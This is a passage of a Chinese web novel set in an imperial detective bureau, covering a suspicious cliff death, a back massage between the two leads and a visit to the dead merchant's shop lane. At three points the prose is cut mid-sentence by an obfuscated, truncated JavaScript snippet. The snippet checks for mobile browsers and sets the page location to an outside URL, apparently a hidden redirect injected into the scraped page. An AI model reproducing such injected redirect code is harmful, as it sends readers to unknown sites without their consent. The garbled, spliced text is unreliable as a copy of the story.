“这又能说明什么？”孙士诚不耐地打断了楚恬的话，“若死者以捕猎为生，打几只麂子也算不得什么稀奇事儿吧？” 等孙士诚说完，楚恬才继续不急不躁地解释道：“能打到麂子的猎户，想必得是个老练的猎人了，若是这样的话，他的手必然会因常年使用弓箭而磨出老茧，可死者手掌上不仅没有长茧，其皮肤也比普通百姓的要白得多，因此我觉得他并不是靠力活谋生的。” 楚恬一点儿也不害怕地举起了死者的手掌，沈阔见状从手下手中拿过火把近距离地照着。 “且死者手指上也没有因执笔写字留下的茧，因此可得出他不常写字，不是书生，结合这两点来看，死者应是一位穿了府中下人衣裳的富绅。” 孙士诚仍是不信楚恬的话，“既是富绅，那你说他乔装打扮来此处作甚？” 这一点，楚恬自然猜不出来。 于是孙士诚狡辩道：“那本官还觉得他是个骗吃骗喝的混子呢，基于你的推断，这也能说得通吧？” 见楚恬不说话，孙士诚以为自己将他怼得哑口无言了，于是又平添了几分得意和自信。 他问沈阔：“沈大人，你怎么看？” 18. 细思量楚恬生疑心 “大人也觉得我的推断不对吗？”回城路上，楚恬紧张地扣着手指，他看了沈阔好几次后，才终于鼓起勇气问出了口。 沈阔与楚恬同坐于马车内，前者从窗户口望向松山，隐约还能瞧见簇拥在一起的火把正四散而去。 听到楚恬翼翼小心地探问，沈阔丢了了手中的帘子并在软榻上坐正，“我认为你的推断基于事实之上，还算是合理。” “真的？”得到肯定的楚恬，兴奋地睁大了双眼。 马车内仅有一盏灯笼挂在左前方的角落里，微弱的光线在颠簸的路途上，变得更加摇曳。 但沈阔却在这昏暗的环境下，无意窥见了楚恬眸中泛起的光亮，如同深邃夜空中冉冉升起的月亮。 沈阔失了片刻的神。 接着他又对楚恬道：“孙士诚此人是出了名的智小言大，无论谁发表什么看法他都会习惯性地反驳几句，没必要将他的话放在心上。” “哦，我知道了。”楚恬糯糯地回道，顿了一瞬后，他突然又问沈阔，“那这个案子就交给京兆府管了吗？” 沈阔道：“京兆尹拥有对京城的绝对管辖权，一般的凶杀案皆由他们自己审理，即便是我，也不能随便插手。” 沈阔抬眸，从楚恬欲言又止的神情中他察觉出了一丝异样，于是问他：“怎么了？” 楚恬没有直接回答，而是反问沈阔：“大人觉得这只是一起普通的坠亡案吗？” 沈阔听出楚恬话里有话，便有意试探道：“刚才你、云儿和王辉都说只看到了死者一人出现在崖边，所以十之八九是他自己不小心踩滑后掉下来的，不过现在下定论的话还为时尚早，得等到天亮将现场勘察完毕后，再结合仵作给出的尸检结果才能确定他的死因。” “或者，你已有了别的推测？”沈阔见楚恬沉默着不说话，忍不住引导起了他，“且说来听听。” 楚恬抿着唇思忖了良久，才缓缓开口：“我有两个疑点。” “第一点，若真是失足掉下山崖的话，那他从崖上坠下的那一刹那，即便来不及呼救，也应该会下意识地惊叫出声吧？除非他是哑巴——” 沈阔点了下头肯定了楚恬的推测，并示意他继续说下去。 “另外一点其实也是基于人的本能反应作出的推测。”楚恬道，“人在直面危险时，总是会下意识地抬手遮挡头部。” “就像这样。”楚恬抱起双肘挡在脸部示范给沈阔看，“可从现场来看，死者并未表现出这样的反应，他好像是直接从崖上扑下来的，所以才致使他脸部直接着地，双手则耷在头的两侧。” “排除死者神智方面的问题，那就只有一个原因了。” “你的意思是，死者在坠崖之前就已经死了？”沈阔顺着楚恬的话说了下去。 楚恬点头道：“至少他当时已处于昏迷状态。” “昏迷的人是不会自己走动的。”沈阔提醒他道，“除非现场还有第二个人存在，可你们都不曾看到，不是吗？” “这也是让我百思不得其解的地方。”楚恬道，“我确实没有看到别的身影，但是大人，我总觉得这桩案子不像我们看到的那般简单。” 沈阔在脑海中将楚恬所言仔细梳理了一番后，对他道：“你所有的推测都很符合常理，但是楚恬，你有一点先入为主了。” 楚恬纤长的眼睫一扑一闪，明亮的眸子睁得又大又圆，流露与他年龄不大相符的纯真。 “你的所有推测都是建立在谋杀案的基础上。”沈阔道，“你可有想过，万一他是自尽呢？” 楚恬怔住了，许是在看到死者从山崖掉下的那一瞬间，异样的直觉便席卷了他的脑海，以至于他完全没从这个方面做考虑。 “如果他是自尽的话......那我所有的推测都不成立了。”冷静下来的楚恬有些失落，便他不得不承认自己确实考虑不周。 “这也只是我的推测而已。”沈阔不忍打击楚恬对探案的激情，又安抚他道，“查案就是这样，用一百种推测去验证那唯一的结果，很多时候我们做的都是些徒劳的活。虽说你没有考虑这个层面，但你也无需妄自菲薄，你才刚开始接触就能有这么多的见地，已然很了不得了。” “在我看来，你比柳青可要聪明多了。”沈阔道，“他就是个榆木疙瘩，三棍子都敲不出一个屁来。” 刚整理完卷宗准备休息的某人揉了揉发痒的鼻尖，“啊——嚏！” 沈阔难得说出这样一句风趣幽默的话，沈阔被逗得轻笑出声，“大人嘴上嫌弃柳知事，可我看得出来，您打心底非常地信任他。柳知事应该跟在您身边很多年了吧？” “我们从相识到现在，已整整十一年了。”沈阔目光微聚，回忆着遥远的往事，“你应知道，我们家世代从文，我祖父曾为陛下和太子的老师，所以我五岁那年，便被送至东宫成了殿下的伴读，但我偏偏学不进四书五经，读不懂治国典籍，反而对习武情有独钟。” “在经过祖父和父亲长达好几年的教导后，他们终于认命，不再强迫我读书习字，还将我送到了当时身为锦衣卫统领的柳元义麾下习武，也就是在那个时候，我认识了师父的儿子，也就是柳青。” “师母生柳青的时候难产，柳青差一点儿胎死腹中，是师母拼着最后一口气才将他生了下来，小的时候，他说话就要比同龄人晚一些，行动也更缓慢，别人都叫傻子，就连我师父都以为他的神智存在问题，怕他被欺负，便一直将他带在身边，之后我们两个便一起跟着师父习武。其实柳青不笨，他是个直肠子，没有那些弯弯绕绕的想法，自然也就不善于揣测别人隐藏的心思。” “可能是在他受别人嘲讽的时候，我经常冲上前帮他的原因，柳青一直很黏我，基本上我走到哪儿他就跟到哪儿。师父死了之后，我接手了锦衣卫，于是将他也带了过去，再后来，他又跟着我到了提刑司。” “柳青于我来说，不仅仅是心腹手下，他是我的朋友，更是我的兄弟。”沈阔无比认真地说道，“我们一起经历过生死，是敢将后背交于彼此的人，你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852975|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我能不信任他吗？” 沈阔说得诚恳，楚恬也听得认真，而两人之间的情义更是让楚恬艳羡不已。 他感叹道：“能拥有一个彼此互相信任的朋友真好。” 多想有朝一日，沈阔也能像信任柳青那般信任他。 连日的奔波，将精干强健的沈阔磨得疲惫不堪，摇摆的马车成了催人困乏的暖床。沈阔只是想合上眼睛养养神，没想到竟然睡着了。 楚恬看着端坐入睡的沈阔，不忍心再打扰他，最终还是压下了缠绕在心底的那份缥缈的异样感。 奔驰的马车从松山小路驶入官道时，车轮被路坎绊了一下，突然的颠簸不仅晃灭了灯笼的残光，还差点儿将同样昏沉欲睡的楚恬甩到对面的凳子上。 那一刹那，楚恬几乎是下意识地抬起手护在了身前。可就当他以为这一摔怎么也避免不了的时候，黑暗中，一只手突然伸出来从他腰前穿过，然后一把将他楼回了原来的位置。 与此同时，头顶传来了一声闷哼。 “大人......”楚恬瞬间清醒过来，惊魂未定的他咽了咽口水，双手扒着沈阔的手臂。 “你没事吧？”默然半晌后，沈阔才缓声开口。 楚恬摇了下头，忽而反应过来沈阔瞧不见，于是又回了句，“我没事。” “多谢大人。”见沈阔没有反应，他又补充了一句。 这时，听到动静的王辉赶紧勒停了马，他以为车厢内的两人摔着了，情急之下，没有事先询问便直接掀开了门帘子。 一旁的云儿也侧身将灯笼支了进去。 光虽微弱，却足以让二人看清全部。 沈阔左手撑着车厢，右手紧搂着楚恬的腰，前者脸色阴沉，后者一脸惊慌。 “对不起大人，天太黑了，小的没看见有道坎儿。”王辉战战兢兢地解释着。 沈阔依旧保持着紧楼楚恬的动作，他不收手，楚恬更不敢乱动，于是两人这看似平常的举止，慢慢在另两人眼里变了味儿。 这气氛怎么感觉有些暧昧？ 云儿亦是紧张得不敢说话，两人该不会...... 云儿的目光愈渐灼热，楚恬不小心与她对视了一眼，瞬间便羞红了脸，而楚恬这个反应好似私情被撞破后的羞赧，使得云儿更加确定了自己的猜测。 加上沈阔阴冷的神情下，仿佛还隐藏着一缕渴求没有得到满足的不悦，云儿见状不由分说地从王辉手中抢过帘子拉了下去。 王辉一脸茫然，但他还没来得及问出口就被云儿捂住了嘴，“嘘，闭嘴，别问。” 不明所以的王辉只得点了点头。 “回来，点下灯。” 沈阔的声音像是从牙缝里挤出来的。 云儿再次提起了心，大人不人怪罪她吧？ 害怕归害怕，她还是壮着胆子跟王辉进了马车，一人掌灯，一人点灯，配合无间。 好在这一次，沈阔和楚恬总算是分开了，云儿悄悄地瞄了两人一眼便慌忙退了出去。 19. 沈括强忍腰痛 一行人于子时一刻抵达的提刑司门外，马车刚刚停下，王辉便跳下车，从车厢后面取了马凳过来。 楚恬看着阖目养神的沈阔，正欲提醒他到了的时候，后者缓缓睁开了眼睛。楚恬躬身钻出车厢，借了王辉的手走下马车。 回头时，发现云儿像变了个人似的，正用奇怪的眼神上下打量着他，可当楚恬回看过去时，她又慌得像个贼似的赶忙避开了视线。 如此反复，令楚恬摸不着头脑。 “云姐，我脸上是有东西么？”楚恬摸着脸颊询问。 云儿敛了羞色，严肃地摇了摇头。 几人在外面等了许久，沈阔才从马车里姗姗而出，且他的走姿略显僵硬，总是有意无意地扶着腰。 沈阔的腰扭着了。 就刚才为扶楚恬而探身的那一下，不小心抻着了他的腰肌。 但沈阔身为武将，这种丢人的事儿他实是羞于启齿，只得咬牙硬撑着。 不过三人还是看出了沈阔的异样，一时间，三人变幻的神情完全暴露了他们内心的真实想法。 王辉心道：完了完了，真把主子的腰给闪了。 云儿回想起楚恬和沈阔的“亲密无间”，双颊瞬间又红了起来。 楚恬的眼里则满是对沈阔的担忧，他犹豫着伸了下手，但他顾及沈阔的面子最终还是将手缩了回去。 一行人刚进大门，便碰着了因失眠而在院中扎马步的柳青，他赤着半边胳膊，拳拳生风。 看见沈阔别扭的走姿后，他赶忙收了势，大摇大摆地走上去前，笑呵呵地问道：“大人，你腰咋了？” 闻言，沈阔的脸瞬间便沉了下来，“少管！”说完便径自朝着后院走去。 明明是好心关怀，谁想到竟是热脸贴了冷屁股，柳青心里那个委屈啊。 “谁又惹他了？”柳青转身看向三人，却发现他们的表情一个比一个奇怪。 云儿自以为看透了事情原委，但她却一个字也不能透露，于是紧抿着唇摇了下头。王辉却认为沈阔受伤是他的过错，但他不敢主动揽责，也忐忑地摇头否认了。 唯一接近真相的只有楚恬，但他也只当沈阔腰痛是过度劳累所致，万没想到沈阔竟是因为拉他的那一下扭伤了腰。 “没人惹他，那他腰是咋回事儿啊？”柳青势要为主子打抱不平，“我们一起回来的时候还好好的哩，咋个突然就受伤了？” “柳大人，您就别问了。”云儿欲语还休，王辉也在一旁猛点着头附和。 “大人应该就是太累了。”楚恬努力为沈阔寻找着借口。 “你的意思是大人身子太虚了？”柳青道，“不可能，绝对不可能，大人比我都要小两岁呢。” 楚恬面露窘色，“我倒也不是这个意思。” “那你是什么意思？”柳青不依不饶，“小楚你把话说清楚了，有我在，你休想造大人的谣——哎哟！” 一粒石子击中了柳青的后脑勺，他捂着脑袋寻找罪魁祸首时，正对上沈阔阴沉的双眸。 “是我不小心抻着了。”檐下的沈阔冷冷开口，“你别再张着你的大嘴巴到处问了。” “属下知道了。”柳青悻悻地揉着痛处。 “此事就此打住。”沈阔扫了几人一眼，面上流露出一丝微弱的窘色，“不要到处乱说。” “是！”众人齐齐称是。 待沈阔走后，柳青再次语重深长地叮嘱大家道：“听到了没，大人腰受伤了这事儿，千万不要让别人知道了，否则人家怎么看大人？年纪轻轻的，是吧，尤其是腰这部位，多引人浮想联翩啊，况且大人又是朝中重臣，暗中不知有多少双眼睛虎视眈眈地盯着他，要是晓得他身体不好，以他不能胜任提刑官一职为由弹劾他怎么办？” “虽然凭大人和太子殿下之间的交情，弹劾是不可能的，但被人捏着短处，时不时地还要拿出来取笑一番，确实挺让人作呕的。”柳青喋喋不休地说着，丝毫没注意到三人已经困得连连打起了哈欠。 “大人，我们可以回去休息了吗？”云儿再也受不了，当着柳青的面将嘴张得老大。 “行，回吧！”柳青终于良心发现放了三人，“记住我刚说的话啊。” 云儿和王辉踩着小碎步走得非快，就楚恬还背朝柳青挥了下手以示尊重。 洗漱后的楚恬都准备睡下了，忽地又想起沈阔来，沈阔身为武将，并不是矫情的性格，若只是一点小伤的话，他无论如何也不会表现出来的，想来，这次的伤不算轻。 楚恬坐在床沿犹豫了良久，终于下定决心去瞧瞧沈阔的伤势。 敲门进去的时候，沈阔刚沐浴完，洗掉了身上的拂浮尘，他整个人看着都清爽了许多。 “有事？”沈阔抬头看了楚恬一眼，继续系起了里衣的腰带。 “瞧大人的神情，您应该伤得不轻，最好还是请个大夫来瞧瞧，免得落下病根。” “用不着。”沈阔道。 见楚恬站在门口一动不动，沈阔起身活动了下筋骨，“我没骗你，刚才就是小心扯到了而已，现在已经好了，你看！” 楚恬差点儿就被沈阔完美的演技给骗到了，要不是后者扭腰的时候脸上再次浮现出了吃痛的神情。 楚恬见状，二话不说上前便掀起了沈阔的里衣，吓得沈阔连忙按住了他的手。 “你做什么！”沈阔蓦地瞪大了眼睛。 楚恬怯怯地收回手，低声道：“我只是想看看大人伤得重不重。您是人又不是神，受伤又不是什么见不得人的事儿，您不必觉得难为情。” 被说中了沈阔更觉羞耻，但他还是嘴硬道：“我不是觉得难为情，只不过你又不懂医术。看一阵也是枉然，等天明了我自会去寻大夫帮我疗伤的。” 楚恬一眼便看出了沈阔在撒谎，他道：“我虽不懂医术，但之前学过些疏通经络的技法，大人若不嫌弃的话可以让我试试。” 沈阔本想拒绝来着，便楚恬恳切的眼神再一次让他心软。 “你会些什么？”沈阔问楚恬。 楚恬认真答道：“最拿手的是按乔，针灸也略会一二。一般的扭伤只需要按上几次便会有所好转，但大人的伤，辅以针灸治疗的话会好得更快。” 沈阔有些心动，考虑了一瞬后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852976|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头同意了，“你以前常做这些？” 楚恬实诚回道：“按乔的话，只与平安他们互相练习过，至于针灸——”楚恬摇了摇头，“不曾在他人身上试过手。” “没试过啊？”沈阔微微一怔，他瞬间有些后悔就这样草率地答应了下来。 “我这点小伤用不着下针。”沈阔绞尽脑汁地找着既不用被针扎又不伤害楚恬自信心的理由，“你给我按按就行。” 楚恬这只小狐狸又怎会察觉不出沈阔心里的小九九，他看着沈阔十分抗拒的模样忍不住笑出了声。 “大人放心，我也没有可以用来针灸的器具。” “哦。”沈阔松了口气，他心虚地垂下了眼眸。 这还是楚恬第一次见着沈阔这般胆小害怕的样子，但他并不觉得对方怯弱，只是觉得这样他才最为真实，毕竟只是凡躯，又怎会刀枪不入，万物不惧呢。 此刻，沈阔给他的感觉不再是高高在上的谪仙，而是与他一样，是个知冷知热也知痛的普通人。 楚恬觉得他和沈阔之间的距离，好像更近了一些。 “大人稍等，我去准备些东西。” “要准备些什么？”沈阔的心再次提了起来。 但楚恬摆明了想逗他一逗，他噙着一抹奇怪的笑走出了卧房，独留坐立不安的沈阔胡思乱想。 一盏茶的功夫不到，楚恬回来了。他手里拿着一个托盘，上面放着一碗菜籽油。 关上房门后，楚恬指挥沈阔趴在床上。 沈阔听话照做，却在趴下之前又被楚恬叫住，“大人得把里衣脱了才行。” 男人之间坦诚相见并非一件怪事，但沈阔却无端觉得有些别扭。 沈阔脱了上衣，将手垫在下巴下面，侧头观察着楚恬的一举一动。 楚恬用襻膊固定好了外裳的袖子，又将里面的窄袖卷到手肘之上，接着他搬了张凳子放在床头处，又将烛台和盛着菜籽油的碗一同放在凳子上面。 净手后，楚恬于沈阔床沿侧身而坐，他先是把手放在烛焰上方烤了一会儿，又在掌心抹了一层油，然后再次将手放在烛焰上烘着，直到手心变暖。 最后，他轻轻将暖烘烘的手掌覆在沈阔腰间，将油在他腰背上打起了圈。 热意瞬间浸入了沈阔的肌肤，更有一股莫名的灼烧感，惊得他不由得微微颤了一下。 “大人受伤的地方是这儿吗？”楚恬一寸一寸地试探着，“还是这里？” “上面，靠左一点。对了。”沈阔将头埋在臂弯里，一一回应着。 “我知道了。”楚恬上下左右地为沈阔抻着经络和腰肌。 楚恬看着柔柔弱弱的一个男子，但他手上的力道却并不轻，不过他手法娴熟，下手时不会让人觉得吃痛。 经过一番按揉后，沈阔确实觉得痛意得到了缓解，慢慢地，他全身都放松了下来，许是太过疲惫的缘故，他竟于不知不觉间沉睡了过去。 楚恬强忍困倦为沈阔揉了一个时辰，最后将残留在沈阔身上的赃物擦拭干净后，才回到房间休息。 临走之前，他还细心地为沈阔掖好了被角。 20. 沈提司夜半诡梦 翌日清晨，猛然惊醒的沈阔坐在床上陷入了沉思。 他做了一个非常诡异的梦。沈阔原本以为他对这种事是嗤之以鼻的，可当他再回想起梦中的细节时，他竟百般回味。 沈阔无端叹息了一声，这么多年来，他第一次产生了不受控的感觉。 掀开被子，他发现床单上沾满了污渍，黄的白的都有，沉默了一瞬后，他红着脸扯下床单扔在了地上。 “楚——” “恬”字还没喊出口，沈阔又赶忙闭上了嘴，转而披上外裳，拉开门小声地唤来了云儿。 “大人，您吩咐！”云儿站在门口没敢进屋。 “让人打些水来，我要沐浴。”沈阔停顿了一瞬后又强调，“凉水就行。” “是！”云儿刚转过身，还没下台阶，又被沈阔叫住。 “回来。把这拿出去扔了。”沈阔指着角落里被揉成一团的床单。 沈阔所用的床单是由西域上贡的上等棉料缝制而成，拢共也才用了这么一次，云儿觉着丢了很是可惜，于是对沈阔道：“大人，这床单还九成新呢，奴婢给您洗了就是——” “真的要扔吗？”见沈阔脸色不对，云儿赶紧换了口风。 “扔了。”沈阔毫不犹豫地回道。 “是。”云儿这才拾起床单离开了。 两刻钟后，沈阔出现在了饭堂，云儿看见他后，忙道：“大人，小楚还没起呢，奴婢这便去叫他。” “等等！”沈阔叫住云儿，“昨夜把他累得够呛，让他再多睡会儿。” 云儿虽时刻提醒着自己不要多度关注主子的私事，但她就是控制不住地胡思乱想。昨天他们一行人回来时已是深夜，所有人都疲惫不堪，云儿也知道沈阔口中的“累”指的是这个，但她还是多想了。 “是。”云儿的嘴角扬起一抹意味不明的笑，“大人待小楚真好。” 不经意间，云儿竟将心底的话说出了口。 “咳咳！”沈阔突然咳嗽了起来，他心虚地反问云儿，“我，对你们都是一视同仁吧。” 云儿瞬间反应过来自己说错了话，赶忙找补道：“大人待奴婢们也很好，能在大人手底下做事，是奴婢三生修来的福气——” “行了！”沈阔打断云儿的话，“你怎么也学起陈伯那一套了？这没什么事了，你先下去吧。” “是！”云儿讪笑着转身，同样心虚的她吐了吐舌头。 沈阔正用着饭，柳青插着腰从门口走了进来，沈阔刚张开嘴，还没来得及开口，柳青便朝他摆起了手。 “吃过了。”柳青用脚尖勾着凳脚拉开，一屁股坐了下去。 沈阔也没跟他客气，柳青家里还有个年迈的祖母，不忙的时候，他便会回去陪伴祖母，而当他在提刑司的时候，吃住皆与差吏们在一起，图的就是一个随意、热闹。 沈阔觉得是柳青小时候常被孤立的缘故，所以他太害怕孤独了。 除了这点，其实还有一个原因，柳青没敢说。 那便是沈阔到底出身于书香世家，虽不至于像他父亲那般注重繁文缛节，但在家庭的熏陶下，还是立下了不少的规矩。 比如他常挂在嘴边的“食不言寝不语”。 柳青说话晚，他一直觉着亏得慌，恨不得将以前的全部补回来。不让说话，这他哪能憋得住啊！ 沈觉得柳青太聒噪，柳青还嫌他过于沉闷呢！ 于是心照不宣的两人，谁也不强迫谁，各寻欢喜。 “有话就说！”沈阔瞥到柳青的嘴张开又闭上，如此反复了数次，他再不开口的话，只怕柳青会憋出毛病来。 前一刻还萎靡不振的柳青瞬间提起了精气神，“大人你知道吗，京兆府已经查到松山死者的身份了，听说孙士诚仅从死者的手部特征就判断出了死者是个富绅，之后差人一问，未消半个时辰便确认了死者身份。” “大人你猜是谁？”柳青自问自答道，“他竟是朱氏布行的东家朱桓，朱氏布行啊，京城最大的布商，可惜啊！” “可惜什么？” “挣那么多钱，都还没怎么花呢，人却没了，难道不可惜吗？”柳青感慨道。 沈阔扒了口饭，没说话，过了一会儿，他忽然又问柳青：“你刚才说死者身份是孙士诚推断出来的？” 柳青点头回道：“对啊，这事儿都在京兆府传开了。真是奇了怪了，你说他究竟是拜了哪方的神仙啊，怎地突然就开窍了？” 沈阔轻蔑一笑，“是楚恬出的主意，不过昨晚孙士诚表现得很是不屑，我还以为他不会听取楚恬的建议......我到底还是低估他了。” “原来是小楚推测出来的啊。”柳青恍然，“我说呢，孙士诚那脑子没比我灵光多少，他怎么突然就上道了。” 柳青暗道：幸好！ “不过他也太不要脸了。”柳青为楚恬抱不平道，“他怎么好意思把别人的功劳往自己身上揽的。” 沈阔没有说话，但他那表情柳青再清楚不过。 他们又不是不知道孙士诚的为人，无论他做出什么恬不知耻的事情都不足为奇。 “他想要，给他就是了。”沈阔道，“就看他有没有那个本事稳稳当当地捏在手中了。” 柳青默了一瞬，豁然开朗道：“大人觉得此案有蹊跷？” 沈阔朝柳青投去一记赞赏的目光，“还不算太笨。” “但——”柳青感觉头皮有些痒，他想挠，但沈阔还在用膳，便又放下了手，“可属下还听说京兆府那边已经排除了他杀，准备以意外坠亡结案了。” “仵作都验完尸了？”沈阔惊讶。 柳青摇了摇头，“不知道，应该验完了吧，不然也不会这么快就定案了。” “他的家人呢？对这个结果没有异议？”沈阔又问。 柳青道：“没听说。” 沈阔的心中突然腾起一股不好的预感，柳青亦觉得这案子结得太快了，实是有些反常。 “朱桓身为千万富商，独自一人跑去人烟稀少的松山就足以让人生疑了。”沈阔道，“还特地换上了仆人的衣裳掩人耳目，你不觉得他的行为非常奇怪吗？” “属下也觉得这里面肯定藏着什么猫腻呢。”柳青道，“但咱也没证据啊，况且朱桓的家人都没说什么。” “就是这点太反常了。”沈阔又道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852977|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“要是他们闹一闹，我反而不会怀疑他们。你知道朱桓家中都有哪些人吗？” 柳青想了片刻，答道：“除了父兄，只有一妻一子。” “他与家人之间的关系如何？” 柳青摇头，“这倒不怎么清楚。” “大人的意思是说......”柳青从沈阔的问话中突然明白了什么。 “不会吧！”柳青不停地摇着头试图将那些疯狂的想法甩出脑海，“孙士诚好歹是四品重臣，更是长京百姓的父母官，虽然平时是有些不着调，但总不至于胡乱结案吧。”柳青觉得即便借给孙士诚一百个胆子，他也不敢在人命案上胡作非为。 “我倒不是觉得孙士诚收了朱家人的钱财伪造命案结果。”沈阔严肃道，“我是觉得这起命案呈现出来的结果本身就是一个假象。” “楚恬的疑虑是对的。”沈阔道。 “怎么又扯到小楚了？”柳青听得云里雾里。 “大人肯信我了？”被两人提到的楚恬忽然出现在了饭堂门外。 沈阔闻声抬眸，猝不及防地与楚恬对上了视线，慌得他赶忙挪开了目光，但他很快又明白此举只会加重他的心虚，于是又硬着头皮迎上了楚恬那双无辜且干净的明眸。 “怎么不再多睡会儿？”沈阔故作镇静，但他微微颤动的眉头和缥缈的眼神将他心底的慌乱暴露无遗。 “饿醒了。”楚恬不好意思地低下头，声如蚊蝇。 沈阔扫了眼桌上的残羹冷炙，对楚恬道：“你的饭菜，我让云儿单独给你热在锅里的。”说完，他便将云儿唤了过来。 “大人可不曾对属下这般耐心过。”柳青用力地揉着眼睛，他还以为自己刚刚听错了。 沈阔冷漠地扫了柳青一眼，“我还要待你们如何？一个个尽说些莫名其妙的话。” 楚恬正疑惑还有谁问过这些令沈阔头疼的话时，转眼便见云儿在一旁憋笑。他瞬间了然，觉得好笑的他回头又打量起了沈阔，却发现后者从脖子一直红到了耳根。 “大人，你——”楚恬指了指沈阔的脖子和耳朵。 沈阔摸了一下耳朵，灼热感瞬间染上了他的指尖，他却气定神闲地狡辩道：“天气转凉了，冻的。” “哦。”楚恬觉得这解释有些牵强，但沈阔说什么便是什么吧。 柳青撇嘴，小声嘀咕了一句，“本来就是，还不承认呢，依我看，您就是喜欢聪明的人，嫌弃我笨就算了，但您这前后两副面孔委实也太让人伤心了。” “你说什么？”沈阔凝视着柳青。 柳青急忙摇头否认，“没，没说什么。” 沈阔懒得与他计较，只道：“你要是闲来无聊就去帮我办件事。” “请大人吩咐！”柳青瞬间来了兴趣，起身抱拳道。 “将仵作的验状誊抄一份拿回来。”沈阔道。 “验状？”柳青确认。 沈阔点头，“孙士诚与我向来不对付，直接要的话他恐怕不会给，所以你——” “这点小事不劳大人操心。”柳青拍着胸脯保证道，“属下自有办法，大人且等着就是。” “行！”沈阔笑道。 21. 彩衣巷沈阔买糕 “听说这条巷中所有的商铺都是朱家的。” 楚恬和沈阔并肩站在南市的彩衣巷口，齐齐望着那条笔直且繁华的巷道。 彩衣巷的地缘位置极好，站在巷口便可将里面一览无余，巷中共有十一家商铺，齐集了布庄、胭脂首饰铺和酒肆，巷中人头攒动，好不热闹。而临近巷口处还开着一家糕点铺子，其伙计正端着一盘刚出炉的桂花糕热情地吆喝着。 “花糕嘞，新鲜出炉的桂花糕，免费品尝咯！” 话音未落，便有一群孩子争先恐后地围了上去。 “给我尝尝，好吃的话便让我阿娘来买。”一个七八岁的幼童从费了九牛二虎之力才从人群中挤了进去。 “我也要，我也要！”其他的小孩子也纷纷举起了手。 那伙计也不恼，挨个给所有的孩童都散了拇指大的糕点尝了吃。 楚恬看着那其乐融融画面，不禁湿了眼眶。 “确切的说，是独属于朱桓一个人的。”沈阔目光微沉，转身打算与楚恬继续探讨案情时，才发现楚恬眼角微红。 “想吃？”沈阔问完没等楚恬回答，便走过去买了一包塞到楚恬手里。 楚恬愣愣地站在原地，还没回过神来，“......谢谢大人。” 楚恬小心翼翼地解开系在油纸包外面的细绳，想着先取出一块桂花糕给沈阔吃，却在将要递到沈阔手中时被人撞了一下，手中的桂花糕顿时掉在了地上。 偏偏那人还浑然未察，连声抱歉的话都没跟楚恬说，便径自跑到糕点铺前朝着伙计要了一块来吃。 那男子约莫二十出头，衣着虽光鲜却满是褶皱，衣摆上还沾着几滴油污，不过怎么看也不像是贫苦人家出生。 但他应该常去糕点铺蹭吃，比起对孩童的温柔，伙计面上难得露出了一起不耐烦，接着，他挑了一小块碎掉的糕点放在男子手心。 男子不满地撇起了嘴，“这也太抠了吧，又不是你家的铺子。” 伙计没恼，但当即便敛起了笑容，转而调侃他道：“你大方，那称两斤？” 男子回道：“改天吧，今儿没钱了。” 伙计笑话他：“又输光了？” 那人笑了笑没回话，又从伙计盘中抓了几块糕点后迅速跑远了。 伙计心有不悦却又无可奈何，在对着那人的身影骂了声“无赖”后，转头换了副笑脸后继续招揽起了客人。 而楚恬更是郁闷至极，这可是沈阔给他买的糕点啊。 心疼的同时，楚恬已经蹲下了身将桂花糕拾了起来，沈阔见状对他道：“别要了。” 楚恬没有理会沈阔，他朝桂花糕吹了一下，直接塞进了嘴里。 沈阔已经伸出去的手还是没来得及阻止，无奈道：“都沾上泥了，你怎么还吃？” 楚恬嚼啊嚼，腮帮子鼓鼓的，像极了沈阔他祖父养的松鼠。 “就掉下去了那么短短的一瞬，还没来得及染上灰尘就让我拾起来了。”楚恬一脸认真地回道，“之前在弄春楼的时候，夏天吃馊饭也是常有的事，一点点泥尘又算得了什么。而且俗话说了，不干不净吃了没病。” “哪儿来的歪理。”楚恬将沈阔都给气笑了。 “味道不错，大人也尝尝！”楚恬捧着油纸包递到沈阔面前。 沈阔不爱吃甜食，因而在楚恬递过来的时候下意识地别开了头。 楚恬没有放弃，他凑得更近了些，“真的很好吃。” 沈阔拿他没办法，只得拿起来尝了一小口。微甜不腻，入口即化，最后还有一丝淡淡的花香萦绕在唇齿之间。 “我没骗大人吧！”楚恬瞧着沈阔慢慢舒展开的眉头，得意地说道。 沈阔不想承认，但还是默默地点了点头。 一段令人啼笑皆非的小波折过后，两人启步朝着彩衣巷里面行去。 放眼望去，彩旗飘扬，形态虽异，却不显突兀，反而给这条街巷增添了别样的风采。 浓烈的酒香和沁人心脾的胭脂味直朝着两人鼻间涌，还没走完半条街，就已迷得两人晕头转向了。 